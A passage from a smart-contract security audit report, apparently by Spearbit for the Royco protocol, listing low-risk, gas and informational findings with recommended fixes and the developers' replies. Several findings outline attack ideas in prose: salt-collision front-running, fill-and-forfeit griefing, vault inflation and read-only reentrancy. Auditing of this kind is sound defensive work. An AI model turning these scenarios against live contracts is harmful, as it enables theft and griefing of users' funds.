- `L534: assets = VAULT.redeem(shares, receiver, address(this));` this will burn the amount of shares of the `underlying vault` in the contract and transfer underlying asset to `receiver`.
- `L536: _burn(owner, shares);` this will burn the shares of the `WrappedVault`.
- `L537: DEPOSIT_ASSET.safeTransfer(receiver, assets);` this line will revert bacause there is no `DEPOSIT_ASSET` balance in this contract, and `DEPOSIT_ASSET` was already transfered in previous line.

Recommendation: Modify the redeem function to ensure assets are transferred to the receiver only once per operation, remove redundant line `L537: DEPOSIT_ASSET.safeTransfer(receiver, assets);`.

Royco: Fixed in commit 1e952741.

Spearbit: Fix confirmed.

5.4.2 Grief through salt collision due to `abi.encodePacked` on `createPointsProgram(...)`

Severity: Low Risk

Context: PointsFactory.sol#L47

Description: The `createPointsProgram` function computes the salt for contract creation using abi.encodePacked with dynamic string parameters `_name` and `_symbol`. This approach can lead to hash collisions because `abi.encodePacked` concatenates dynamic types without length encoding, potentially causing different inputs to produce the same hash and fail contract creation.

An attacker could exploit this by front-running transactions and submitting manipulated `_name` and `_symbol` values that result in the same salt, causing the original user's contract creation to fail. Furthermore this will deploy a `Points` contract with different `name` and `symbol`.

Recommendation:

- Use `abi.encode()` instead of `abi.encodePacked()` when hashing dynamic types to generate the salt. `abi.encode()` includes type and length information in the encoding, ensuring uniqueness for different inputs.
- Use `msg.sender` for ownership instead of the `_owner` parameter.

Royco: Fixed the issue by using dynamic length types in commit a496e5b7. We don't think we should assume owner is msg.sender bc the primary users of the contract will be protocols with complex governance styles and modus operandi.

To clarify -- if we change encodepacked to encode, the only griefing attack someone could do is frontrun the contract deployment, with the exact same params right? I don't think the frontrunner could alter anything or do anything malicious other than essentially sponsor the IP's contract deployment. Is that a correct understanding?

Spearbit: In this state if someone frontruns, it cant make anything malicious. Keep in mind that this could be frontrun causing the transaction to fail if you use a contract to do it, but again in the current state it's okay.

Just for context, Gnosis safe issue 321 corresponds to a similar case.

5.4.3 AP's offer cannot be filled if the remaining ratio is lower than a certain percentage

Severity: Low Risk

Context: RecipeKernel.sol#L411

Description: The minimum fill percentage check prevents a griefing attack where a malicious IP can fill an AP's offer multiple times with small amounts, causing AP to incur significant gas fees to withdraw funds from their wallets.

However, this check causes another issue. `MIN_FILL_PERCENT` is 25%, so if an IP fills 75% to 100% of the offer (non-inclusive), the rest cannot be filled anymore. APs must create another offer, but the same issue can happen again. Note that APs do not lose funds, but it's inconvenient and can often happen in regular use cases.

Recommendation: A possible mitigation is to skip the minimum fill percentage check if `fillAmount == type(uint256).max`, i.e., IP intends to fill the entire offer.

Royco: Addressed in commit 8232e1f3.

Speabit: Fix confirmed.

5.4.4 Potential fill-and-forfeit attack on IPs

Severity: Low Risk

Context: RecipeKernel.sol#L563

Description: Malicious APs can execute a fill-and-forfeit attack on IPs:

- Scenario 1:
  1. AP creates an offer.
  2. IP fills the offer. AP forfeits their rewards and unlocks the wallet immediately.
  3. Result: IP loses part of the rewards as the protocol fees.
- Scenario 2:
  1. IP creates an offer.
  2. AP fills the offer.
  3. After the offer's expiry but before the wallet's unlock time, AP forfeits their rewards and unlocks the wallet early.
  4. Result: IP loses part of the rewards as the protocol fees.

Scenario 2 is less of an issue because the malicious AP has to wait for the offer to expire. In Scenario 1, it is not possible to check the offer's expiry because AP offers are not stored on-chain.

Recommendation: Note that this is only a griefing attack without financial gain for APs. IPs should be aware of this issue when interacting with forfeitable markets.

When creating forfeitable markets, the creators should consider this griefing attack and ensure it is difficult to execute with the design of the deposit recipe. For example, the deposit recipe can be staking into a contract that charges a portion as the fee for early withdrawals. This makes the griefing attack economically less feasible as it would cause financial losses on the malicious APs.

Royco: Acknowledged. We will add a disclaimer to the documentation.

Speabit: Acknowledged.

5.4.5 Front-end and protocol fees are not accounted until users claim their rewards

Severity: Low Risk

Context: RecipeKernel.sol#L675

Description: If a market's reward style is `Arrear` or `Forfeitable`, the fees to the front-end and protocol are accounted only when the users (i.e., wallet owners) call `claim()`. In other words, if a user does not call `claim()` at all for any reason, even after the wallet's lockup period ends, the front-end or protocol will not be able to get the fees from the `RecipeKernel`.

Recommendation: Since users are incentivized to call `claim()`, this issue is less of a concern but something the front-end and protocol team should notice.

Royco: Acknowledged. This was something we though about when designing the protocol, it's ultimately not really an issue because we expect users to claim their rewards in all valuable cases, which would also be valuable fee cases (i.e. above a certain threshold of reward tokens).

Speabit: Acknowledged.

5.4.6 Checking the wallet type to prevent unexpected calls to the `claim()` and `forfeit()` function

Severity: Low Risk

Context: RecipeKernel.sol#L675-L677

Description: Even if the market's reward type is `Upfront`, the wallet owners can still call `claim()`. Although no additional rewards will be sent out since `LockedRewardParams storage params` is uninitialized, there can be an explicit check at the beginning of the function, e.g., `if (marketIDToWeirollMarket[wallet.marketId()] == Upfront) revert AlreadyRewarded();`

Similarly, `params.incentives.length == 0` can be checked at the beginning of the `claim()` function and return early. The condition will hold if the `params` storage has been deleted after a previous claim.

The `forfeit()` function can also implement a check to avoid wallets of upfront markets from calling it, though a similar check already exists in `WeirollWallet.forfeit()`.

Recommendation: Consider implementing the above checks to enhance the code and prevent future modifications from causing unexpected behaviors.

Royco: Added a check in commit 977adf01.

Spearbit: There's another `claim()` function that needs to implement the two checks as well.

Royco: If you don't mind I would appreciate some more reasoning as to why the fix is worth making.

Spearbit: This is more of a preventive check. This current code works fine because it relies on the assumption that upfront-type wallets have an uninitialized `LockedRewardParams` data structure. Instead of relying on an assumption like this, it is suggested that strict access control be implemented on the claim and forfeit function, so it can easily prevent the wallets from doing anything unexpected, even if the functions change in the future.

Royco: We discussed this internally and chose to not add the check. We don't want "rightful" claimants to incur extra gas on their claims. Also, the frontend is resistant to an redundant claim event emissions.

Speabit: Acknowledged.

5.4.7 Inflation attacks on the underlying vaults may affect the first depositor of the `WrappedVault`

Severity: Low Risk

Context: WrappedVault.sol#L140

Description: The first depositor to the `WrappedVault` may still be exploited by inflation attacks executed on the underlying vault, even though dead shares are minted in the `WrappedVault`.

It is because `WrappedVault` acts similarly to a proxy that transfers funds from users to the underlying vault and always mints the same number of shares it receives from the underlying vault. If the exchange rate of the underlying vault is manipulated, it directly affects how many shares the depositor will receive from the `WrappedVault`.

In other words, whether the `WrappedVault` is vulnerable to inflation attacks mainly depends on the underlying vault implementation.

Recommendation: Consider implementing one or more of the following mitigations:

1. Add a `shares > 0` check in the `deposit()` function. However, this only increases the attack cost.
2. Add a non-standard function `deposit(uint256 assets, address receiver, uint256 minSharesOut)` that checks `shares >= minSharesOut`. Users concerned about being attacked can use this function.
3. Advise users to use ERC4626 routers when depositing into the wrapped vaults.
4. Allowing users to specify the minimum received shares in their offer. When allocating their offers and depositing funds into the target vault (L237 in `VaultKernel.sol`), the code should ensure the output shares are at least the amount specified by the users.

Even though minting shares to the zero address in the `WrappedVault` cannot mitigate inflation attacks, there could be a valid use case for it. See the issue titled "Rewards distributed during periods with no active depositors are locked in the incentivized vaults".

Royco: Added a `safeDeposito` function in commit 116af486, so users can account for slippage when minting new shares

Spearbit: Fix looks good. Just note that this only protects users directly depositing into the wrapped vault, but not those creating an offer. This is because in `allocateOffer()`, the raw `deposit()` is used without a slippage check. The likelihood of inflation attacks is low, so it's okay to ACK it imo. To fix it completely, add a `minShare` in the `APOffer` (see suggestion 4).

5.4.8 Potential read-only reentrancy during the withdrawal from the underlying vault

Severity: Low Risk

Context: WrappedVault.sol#L516-L520

Description: The `WrappedVault.withdraw()` function executes an external call to `VAULT.withdraw()` before `_burn()`. This causes the wrapped vault contract to be in an intermediate state during the execution of `withdraw()`. If another contract reads `totalSupply()` or `previewRateAfterDeposit()` during this period for any reason, similar to read-only reentrancy, the return value will be inaccurate because the total supply has not been updated yet. This also applies to the `redeem()` function.

Recommendation: Consider burning the shares to update the total supply before executing external calls. OpenZeppelin's ERC4626 implementation has a similar concern. See ERC4626.sol#L267-L274.

Royco: Addressed in commit 3617a62d.

Spearbit: Fix confirmed.

5.4.9 Offers with indefinite expiry cannot be cancelled

Severity: Low Risk

Context: RecipeKernel.sol#L489

Description: In the `RecipeKernel` contract, the `cancelAPOffer` and `cancelIPOffer` functions include a condition that prevents users from canceling offers if the `expiry` is indefinite (is set to zero):

```
if (offer.expiry == 0) revert OfferCannotExpire();
```

An `expiry` value of zero signifies that an offer never expires. Due to this check, users are unable to cancel their own offers that have no expiry date

Recommendation: Remove the check `if (offer.expiry == 0) revert OfferCannotExpire();` from both the `cancelAPOffer` and `cancelIPOffer` functions.

And remove `error OfferCannotExpire()` from `RecipeKernelBase.sol#L224-L225`.

Royco: Fixed in commitS 35f96746 and 661fae72.

Spearbit: Fix confirmed.

5.4.10 Inaccurate reward distribution if reward period is set to start in the past

Severity: Low Risk

Context: WrappedVault.sol#L264

Description: Setting rewards in the past does not consider how long the users have staked already but only their staked amount, which has a different behavior than setting future rewards. Consider the following scenario:

```
vm.warp(4 weeks);
deposit(user(0), 1 ether);

vm.warp(5 weeks);
deposit(user(1), 1 ether);

vm.warp(6 weeks);
setRewardsInterval(address(rewardsToken), 4 weeks, 8 weeks, 4 ether);

vm.warp(10 weeks);
claim(user(0));
claim(user(1));
rewardsToken.balanceOf(user(0)); // about 2 ether
rewardsToken.balanceOf(user(1)); // about 2 ether
```

Since User 0 staked one more week than User 1, the rewards should be distributed 4:3. However, both users get the same amount of 2 ether as rewards.

Recommendation: As a straightforward solution, consider avoiding setting the start time of reward periods in the past.

Royco: Acknowledged. We like leaving open the possibility of spontaneously distributing a bunch of rewards to everyone currently in the pool, so it doesn't make sense to add some rational bound.

Spearbit: Acknowledged.

5.5 Gas Optimization

5.5.1 Remove unnecessary check

Severity: Gas Optimization

Context: WrappedVault.sol#L241

Description: The condition `rewardsInterval.end < newStart` is not possible since `newStart` will either be previous start or `block.timestamp` and the previous start can't be greater than the previous end. Additionally, at the top of this function on line 223 we ensure `block.timestamp < rewardsInterval.end`.

Recommendation:

```
- uint256 remainingRewards = rewardsInterval.end < newStart ? 0 : rewardsInterval.rate * (rewardsInterval.end
↪  - newStart.toUint32());
+ uint256 remainingRewards = rewardsInterval.rate * (rewardsInterval.end - newStart.toUint32());
```

Royco: Fixed in commit 4dc88702.

Spearbit: Fix confirmed.

5.5.2 Remove unnecessary early returrn

Severity: Gas Optimization

Context: WrappedVault.sol#L340

Description: The `totalSupply_` will never be equal to 0 since 10,000 is burned in the constructor.

Recommendation: This line may be safely removed.

Royco: Removed the early return here in commit d6a59354. Since we are still pro 10k burn because it stops share attacks on the vault itself, and although not necessarily the underlying vault, it is a nice layer of protection.

Spearbit: Fix confirmed.

5.5.3 Remove unused storage

Severity: Gas Optimization

Context: Points.sol#L38

Description: `allowedVaults` is stored as a public variable, but it is not used.

Recommendation: This variable may be safely removed which will reduce complexity and slightly reduce bytecode size from the removal of the getter.

Royco: Fixed in commit 47aad69a.

Spearbit: Fix confirmed.

5.5.4 Calls to `ERC4626(offer.targetVault).asset()` can be cached

Severity: Gas Optimization

Context: VaultKernel.sol#L194

Description: In the `allocateOffer` function, the method `ERC4626(offer.targetVault).asset()` is called multiple times. Each call to this function incurs gas costs, especially if it involves external calls or computations.

Recommendation: Optimize gas caching the `ERC4626(offer.targetVault).asset()` in a local variable.

```
diff --git a/src/VaultKernel.sol b/src/VaultKernel.sol
index def6125..1c367fc 100644
--- a/src/VaultKernel.sol
+++ b/src/VaultKernel.sol
@@ -190,8 +190,10 @@ contract VaultKernel is Ownable2Step, ReentrancyGuardTransient {
             }
         }
```

```
+        ERC20 _asset = ERC4626(offer.targetVault).asset();
+
         //Check that the AP has enough base asset in the funding vault for the offer
-        if (offer.fundingVault == address(0) && ERC20(ERC4626(offer.targetVault).asset()).balanceOf(offer.ap)
↪  < fillAmount) {
+        if (offer.fundingVault == address(0) && _asset.balanceOf(offer.ap) < fillAmount) {
             revert NotEnoughBaseAssetToAllocate();
         } else if (offer.fundingVault != address(0) && ERC4626(offer.fundingVault).maxWithdraw(offer.ap) <
↪  fillAmount) {
             revert NotEnoughBaseAssetToAllocate();
@@ -203,16 +205,16 @@ contract VaultKernel is Ownable2Step, ReentrancyGuardTransient {
         // if the fundingVault is set to 0, fund the fill directly via the base asset
         if (offer.fundingVault == address(0)) {
             // Transfer the base asset from the AP to the VaultKernel
-            ERC4626(offer.targetVault).asset().safeTransferFrom(offer.ap, address(this), fillAmount);
+            _asset.safeTransferFrom(offer.ap, address(this), fillAmount);
         } else {
             // Get pre-withdraw token balance of VaultKernel
-            uint256 preWithdrawTokenBalance = ERC4626(offer.targetVault).asset().balanceOf(address(this));
+            uint256 preWithdrawTokenBalance = _asset.balanceOf(address(this));

             // Withdraw from the funding vault to the VaultKernel
             ERC4626(offer.fundingVault).withdraw(fillAmount, address(this), offer.ap);

             // Get post-withdraw token balance of VaultKernel
-            uint256 postWithdrawTokenBalance = ERC4626(offer.targetVault).asset().balanceOf(address(this));
+            uint256 postWithdrawTokenBalance = _asset.balanceOf(address(this));

             // Check that quantity withdrawn from the funding vault is at least the quantity to allocate
             if ((postWithdrawTokenBalance - preWithdrawTokenBalance) < fillAmount) {
@@ -230,8 +232,8 @@ contract VaultKernel is Ownable2Step, ReentrancyGuardTransient {
             }
         }

-        ERC4626(offer.targetVault).asset().safeApprove(offer.targetVault, 0);
-        ERC4626(offer.targetVault).asset().safeApprove(offer.targetVault, fillAmount);
+        _asset.safeApprove(offer.targetVault, 0);
+        _asset.safeApprove(offer.targetVault, fillAmount);

         // Deposit into the target vault
         ERC4626(offer.targetVault).deposit(fillAmount, offer.ap);
```

Royco: Added a cache in commit 45420114.

Spearbit: Fix confirmed.

5.5.5 Reduce contract size by switching from Solmate to Solady libraries

Severity: Gas Optimization

Context: WrappedVault.sol#L170

Description: The `WrappedVault` contract currently has a code size of 17,833 bytes. Since `WrappedVault` instances are created by the `WrappedVaultFactory`, minimizing the contract size is crucial to reduce deployment costs and avoid hitting the EVM's contract size limit.

By switching from Solmate and OpenZeppelin libraries to their equivalents in the Solady library, you can significantly reduce the contract size. Solady is designed to be more gas-efficient and often results in smaller bytecode.

Recommendation: Refactor the `WrappedVault` contract to use the `Solady` libraries instead of `Solmate` and `OpenZeppelin`. Specifically consider replacing:

- `ERC20` from `Solmate` with `ERC20` from `Solady`.
- `SafeCast` from your custom library with `SafeCastLib` from `Solady`.
- `SafeTransferLib` from `Solmate` with `SafeTransferLib` from `Solady`.
- `Ownable2Step` and `Ownable` from `OpenZeppelin` with `Ownable` from `Solady`.

Ensure that the new libraries are compatible with your contract's functionality and that all features work as intended after the changes. Thoroughly test the contract to confirm that the refactoring does not

introduce any bugs or alter expected behaviors.

Royco: Acknowledged.

Spearbit: Acknowledged.

5.6 Informational

5.6.1 Incorrect argument passed to event

Severity: Informational

Context: WrappedVault.sol#L250, WrappedVault.sol#L299

Description: The `RewardsSet` event accepts as `start` as the second argument but instead `block.timestamp` is used. This mistake happens both times this event is emitted in `setRewardsInterval()` and `extendRewardsInterval()`.

Recommendation: Pass the value of `newStart.toUint32()` as the second argument. For small gas savings, you could avoid a second safecast by making `newStart` a uint32 on line 237 by safecasting at the time of assignment above.

Royco: Fixed in commit 56501fc8.

Spearbit: Fix confirmed.

5.6.2 Excessive use of `vm.assume` in tests

Severity: Informational

Context: ERC4626i.t.sol#L182

Description: The fuzzing tests incorrectly use an excessive amount of `vm.assume` which cause tests to fail intermittently with errors like:

```
[FAIL. Reason: The `vm.assume` cheatcode rejected too many inputs (65536 allowed)]
↪  testExtendRewardsInterval(uint32,uint32,uint32,uint256,uint256) (runs: 235, : 311446, ~: 315643)
```

Per the Foundry book, prefer `bound` to `vm.assume`:

> The assume cheatcode should mainly be used for very narrow checks. Broad checks will slow down tests as it will take a while to find valid values, and the test may fail if you hit the max number of rejects. For broad checks, such as ensuring a uint256 falls within a certain range, you can bound your input with the modulo operator or Forge Standard's bound method.

Recommendation: Replace usage of `vm.assume` with `bound` throughout. For example:

```
- vm.assume(initialDuration >= testIncentivizedVault.MIN_CAMPAIGN_DURATION());
+ initialDuration = bound(initialDuration, testIncentivizedVault.MIN_CAMPAIGN_DURATION(), type(uint32).max);
```

Royco: Acknowledged.

Spearbit: Acknowledged.

5.6.3 Missing event when adding an IP

Severity: Informational

Context: Points.sol#L72

Description: No event is emitted when adding a new incentive provider.

Recommendation: Implement `AllowedIPAdded` event similar to `AllowedVaultAdded`.

Royco: Fixed in commit 787d2124.

Spearbit: Fix confirmed.

5.6.4 Inconsistent minimum amount levels used when creating offers

Severity: Informational

Context: RecipeKernel.sol#L107, RecipeKernel.sol#L164, VaultKernel.sol#L133

Description: In the `Points` and the `RecipeKernel` contracts, a minimum `amount` value of `1e6` is enforced when creating IP or AP offers.

```
// Check offer isn't empty
if (quantity < 1e6) {
    revert CannotPlaceZeroQuantityOffer();
}
```

However, in the `VaultKernel` the minimum is 0 with the same error:

```
// Check offer isn't empty
if (quantity == 0) {
    revert CannotPlaceZeroQuantityOffer();
}
```

Recommendation: Decide on the desired behavior and be consistent. If a non-zero value is desired, then use a constant like `MINIMUM_QUANTITY` instead of a numeric literal.

Royco: Fixed in commit 787d2124 and standardized on `1e6` because its still dust for most tokens (eg USDC, and WBTC) which are the only big ones I can think of, and avoids allowing most negligible dust amounts where weird round cases can occur

Spearbit: Fix confirmed.

5.6.5 Unused state variables

Severity: Informational

Context: WeirollWallet.sol#L57-L59

Description: The state variables `unlockRewardTokens`, `unlockRewardAmounts`, and `forfeitRecipient` are declared in the `WeirollWallet` contract but are not utilized anywhere within the codebase. Unused variables can lead to unnecessary increases in contract bytecode size and may cause confusion for developers reviewing or maintaining the contract.

Recommendation: Safely remove the unused state variables `unlockRewardTokens`, `unlockRewardAmounts`, and `forfeitRecipient` from the contract to improve code clarity and reduce the bytecode size.

Royco: Removed in commits 601ae3da and 5716874e.

Spearbit: Fix confirmed.

5.6.6 Wrong `WrappedVaultCreated` event emission

Severity: Informational

Context: WrappedVaultFactory.sol#L108-L113

Description: In the `wrapVault` function, the `getNextSymbol()` function is called twice: once when creating a new `WrappedVault` instance and again when emitting the `WrappedVaultCreated` event. Between these two calls, the `incentivizedVaults` array is updated by adding the new vault. Since `getNextSymbol()` relies on `incentivizedVaults.length`, the second call generates a symbol that is incremented by one compared to the first call. This results in a mismatch between the symbol assigned to the new vault and the symbol reported in the event.

Recommendation: Cache the result of `getNextSymbol()` in a local variable before modifying the `incentivizedVaults` array. Use this cached symbol for both the creation of the `WrappedVault` and in the `WrappedVaultCreated` event emission to ensure consistency.

Royco: Fixed in commit 6c28a487.

Spearbit: Fix confirmed.

5.6.7 Incorrect comment on `isRecipeKernel` mapping

Severity: Informational

Context: PointsFactory.sol#L16

Description: The comment above the isRecipeKernel mapping is incorrect, this comment mistakenly refers to "Orderbook" addresses instead of "RecipeKernel" addresses. The mapping actually keeps track of valid RecipeKernel addresses.

Recommendation: Replace "Orderbook" for "RecipeKernel".

Royco: Fixed in commit bbab59be.

Spearbit: Fix confirmed.

5.6.8 Include additional data in `Award` event for improved off-chain traceability

Severity: Informational

Context: Points.sol#L106

Description: The `Award` event currently emits only the recipient address (`to`) and the awarded amount (`amount`). Including `msg.sender` in the event emitted by `award(address to, uint256 amount)` would enable off-chain systems to easily identify which vault issued the points. Similarly, including the `ip` (incentive provider) in the event emitted by `award(address to, uint256 amount, address ip)` would facilitate tracking of the incentive provider responsible for minting the points.

Recommendation: Modify the `Award` event to include `msg.sender` and `ip` where applicable.

For the first `award(address to, uint256 amount)` function, include `msg.sender`:

```
emit Award(to, amount, msg.sender);
```

For `award(address to, uint256 amount, address ip)` function, include `ip`:

```
emit Award(to, amount, ip);
```

Update the `Award` event definition accordingly to accommodate the additional parameters.

Royco: Added in commit b6544f2c.

Spearbit: Fix confirmed.

5.6.9 Flag definitions are not consistent with documentation

Severity: Informational

Context: VM.sol#L16-L17

Description: Weiroll defines a number of flags at the top of `VM.sol`, indicating the various command actions supported. The `README` suggests the first bit of the flags byte is a tuple return and the second bit is an extended command. The current implementation has these as the other way around. In most cases, this is not an issue if it is recognised when generating the recipes, but it may create some confusion if this is not made known.

```
uint256 constant FLAG_EXTENDED_COMMAND = 0x80;
uint256 constant FLAG_TUPLE_RETURN = 0x40;
```

Recommendation: Ensure this is well-understood and documented for recipe creators, otherwise consider swapping these two flags around as follows:

```
uint256 constant FLAG_EXTENDED_COMMAND = 0x40;
uint256 constant FLAG_TUPLE_RETURN = 0x80;
```

Royco: Fixed in commit 07b60a64 by swapping the weiroll library.

Spearbit: Fix looks good.

5.6.10 `ExecutionFailed` revert error does not include correct `command_index`

Severity: Informational

Context: VM.sol#L109

Description: If there is any command in Weiroll's `_execute()` function which causes a revert, the `ExecutionFailed` will propagate this up and halt recipe execution. The current implementation will not properly identify what command index caused the revert because `ExecutionFailed` simply doesn't include this information.

Recommendation: The `ExecutionFailed` revert error should correctly identify what `command_index` causes the revert. This needs to consider the case where the `FLAG_EXTENDED_COMMAND` flag has been used too.

```
revert ExecutionFailed({
    command_index: i,
    command_index: flags & FLAG_EXTENDED_COMMAND == 0
        ? i
        : i - 1,
    target: address(uint160(uint256(command))),
    message: outdata.length > 0 ? string(outdata) : "Unknown"
});
```

Royco: Fixed in commit 07b60a64 by swapping the weiroll library.

Spearbit: Fix looks good.

5.6.11 Wrong naming in return value and comment on `createIPOffer`

Severity: Informational

Context: RecipeKernel.sol#L137

Description: On `createIPOffer` function the return value is named `marketID`, but it actually refers to the ID of the newly created offer, not the market. Also, the comment for the `@return` annotation should state "offerID" instead of "marketID" for clarity.

Recommendation: 1. Change the return variable name from `marketID` to `offerID` to better represent the value being returned. 2. Update the comment to reflect the change: `/// @return offerID ID of the newly created offer`

Royco: Fixed in commit b352c107.

Spearbit: Fix confirmed.

5.6.12 Pass `owner` as parameter to the constructor for flexibility

Severity: Informational

Context: VaultKernel.sol#L108

Description: In the `VaultKernel` contract, the constructor hardcodes `msg.sender` as the contract owner upon deployment. While this may be acceptable for straightforward deployments, it limits flexibility in scenarios where the deployer is not intended to be the owner. This includes deployments via factory contracts, `CREATE2`, or any situation where ownership needs to be assigned to a different address.

Recommendation: Modify the constructor to accept an address _owner parameter, allowing the owner to be specified at the time of deployment:

```
constructor(address _owner) Ownable(_owner) { }
```

This change enhances the contract's flexibility, enabling ownership to be assigned to any desired address during deployment and aligning with best practices for contract ownership management.

Royco: Fixed in commit 8d7decdd.

Spearbit: Fix confirmed.

5.6.13 Unused error `OnlyClaimant`

Severity: Informational

Context: WrappedVault.sol#L46

Description: The custom error `OnlyClaimant()` is declared but never utilized in the codebase.

Recommendation: Remove the unused `OnlyClaimant()` error declaration.

Royco: Fixed in commit 039a7f8c.

Spearbit: Fix confirmed.

5.6.14 Variables visibility should be explicit declared

Severity: Informational

Context: VaultKernel.sol#L42, WrappedVault.sol#L88

Description: In Solidity, state variables without an explicit visibility modifier default to internal. While this is functionally acceptable, it is considered best practice to explicitly declare the visibility of all state variables:

- VaultKernel.sol#L42: `offersPaused` has no explicit visibility.
- WrappedVault.sol#L88: `DEPOSIT_ASSET` has no explicit visibility.

Recommendation: Explicitly declare the visibility of all state variables. This practice improves code clarity and aligns with Solidity style guidelines.

Royco: Fixed in commit 039a7f8c and in commit db05efdf for `offersPaused` too.

Also made `DEPOSIT_ASSET` internal in commit 3fb1365d since `asset()` fufills the same purpose.

Spearbit: Fix confirmed.

5.6.15 Constructor arguments shadow inherited variables

Severity: Informational

Context: WrappedVault.sol#L122-L123

Description: In the constructor of `WrappedVault` there are two parameters named `name` and `symbol`. These parameters shadow the `name` and `symbol` variables inherited from the ERC20 contract.

Recommendation: Consider renaming the parameters to avoid shadowing the inherited variables. For example, you could rename them to `_name` and `_symbol`.

Royco: Fixed in commit 039a7f8c.

Spearbit: Fix confirmed.